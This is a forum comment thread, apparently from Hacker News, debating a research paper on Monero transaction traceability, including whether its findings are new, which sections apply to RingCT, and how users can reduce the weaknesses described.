https://lab.getmonero.org/pubs/MRL-0004.pdf
https://lab.getmonero.org/pubs/MRL-0001.pdf
https://lab.getmonero.org/pubs/MRL-0004.pdf
> the first to unveil real problems with Monero
It is not. The problems were previously identified and documented by Monero developers, and the paper acknowledges this.
The paper attaches specific historical numbers to those problems, which is good, though one can still quibble about how the numbers are aggregated and presented.
It is not. The problems were previously identified and documented by Monero developers, and the paper acknowledges this.
The paper attaches specific historical numbers to those problems, which is good, though one can still quibble about how the numbers are aggregated and presented.
Intellectually very dishonest, especially considering Zcash's Ceo (yes, that actually exists) response on some twitter-'trolling': https://twitter.com/AeonCoin/status/854247126473228288
I mean come on, it's OK to cherrypick xmr's blockchain and post sensationalist and exaggerated tweets, but not Ok to do the same for Zcash...
Their academic integrity has obviously lost it from their financial incentives. Will be very hard to 'trust' these guys again, wouldn't 'trust' the 'trusted setup' that was needed for Zcash for a billion dollars now...
I mean come on, it's OK to cherrypick xmr's blockchain and post sensationalist and exaggerated tweets, but not Ok to do the same for Zcash...
Their academic integrity has obviously lost it from their financial incentives. Will be very hard to 'trust' these guys again, wouldn't 'trust' the 'trusted setup' that was needed for Zcash for a billion dollars now...
Hit piece guys, released by "director of ZCash" an hour before a scheduled hard fork for Monero.
What did you think about the empirical analysis from this paper?
It is simply a hit piece. Most of the issues discussed have already been considered by the monero devs and in fact, addressed. There is a reason why the authors limited their considerations to transactions before the RingCT update.
> Neither of these weaknesses is entirely new, having been discussed (but not addressed) by Monero developers since as early as 2015. Our work provides the first quantitative assessment of the severity of these weaknesses.
> There is a reason why the authors limited their considerations to transactions before the RingCT update.
No, they did not. The 80% figure comes from weaknesses of clients post RingCT update.
No, they did not. The 80% figure comes from weaknesses of clients post RingCT update.
From the paper:
Applicability to current and future transactions using RingCT. The weakness studied in this section is pri- marily a concern for transactions made in the past, as transactions using the new RingCT transaction option are generally immune.
Applicability to current and future transactions using RingCT. The weakness studied in this section is pri- marily a concern for transactions made in the past, as transactions using the new RingCT transaction option are generally immune.
The key phrase being "in this section" - section 3 deals with the older vulnerability while section 4 deals with RingCT transactions.
The section 3 vulnerability traces (aka "de-anonymizes") precisely no transactions at all. It indicates that the probabilities across potential outputs sources are biased, but does not offer any method at all to identify any actual source.
The estimate of the bias given in the paper for the current default and typical usage is that the most recent potential source has a probability of 45% instead of the ideal 20%. In fact this likely applies to 100% of current transactions, not 80%.
This is a known issue, and not ideal, and the quantitative results in the paper are helpful, but the paper does not show what you claim it shows.
The estimate of the bias given in the paper for the current default and typical usage is that the most recent potential source has a probability of 45% instead of the ideal 20%. In fact this likely applies to 100% of current transactions, not 80%.
This is a known issue, and not ideal, and the quantitative results in the paper are helpful, but the paper does not show what you claim it shows.
Yes, that's section 3. What about section 4?
Sorry my mistake. My comment was about Section 4, not Section 3.
RingCT is immune to the methods in Section 3 as stated in the last paragraph of Section 3.
Section 4 does not trace any transactions. It identifies a probability bias which make the ring sigs less efficient, but still functional.
RingCT is immune to the methods in Section 3 as stated in the last paragraph of Section 3.
Section 4 does not trace any transactions. It identifies a probability bias which make the ring sigs less efficient, but still functional.
Copy from a monero dev answer on reddit:
Heuristic I not applicable to RingCT, so moving on...
Heuristic II is basically people sending a transaction to themselves and thus creating 2 new txo's (amount and change). Then at some point people spend both txo's in one transaction. This is something that can be avoided by just not sending coins to yourself and by the wallet giving you a warning when you are about to spend 2 txo's stemming from the same txo.
Heuristic III is basically the fact that the newest txo in a transaction is likely the one that is being spent and can be prevented by people actually keeping a small reserve of XMR and refilling this at random intervals. Don't spend all your XMR all at once just after you received it.
Heuristic I not applicable to RingCT, so moving on...
Heuristic II is basically people sending a transaction to themselves and thus creating 2 new txo's (amount and change). Then at some point people spend both txo's in one transaction. This is something that can be avoided by just not sending coins to yourself and by the wallet giving you a warning when you are about to spend 2 txo's stemming from the same txo.
Heuristic III is basically the fact that the newest txo in a transaction is likely the one that is being spent and can be prevented by people actually keeping a small reserve of XMR and refilling this at random intervals. Don't spend all your XMR all at once just after you received it.
That's a nice touch hosting it on ipfs.
But ipfs.io is just the gateway.
I mean, this is the same document:
https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQW...
I mean, this is the same document:
https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQW...
Sad there are so many upvotes for a previously solved/discussed issue
Please add [pdf] or something similar to the title, it's very annoying to accidentally and unintentionally download a pdf on the phone.
That this subset of transactions is not safe is not news, nor is it even original research - it was covered in research more than 2 years ago by The Monero Project itself - and is something the project has addressed since and is working to further improve even beyond the recommendations of this paper.
Lengthy discussion on reddit here: https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...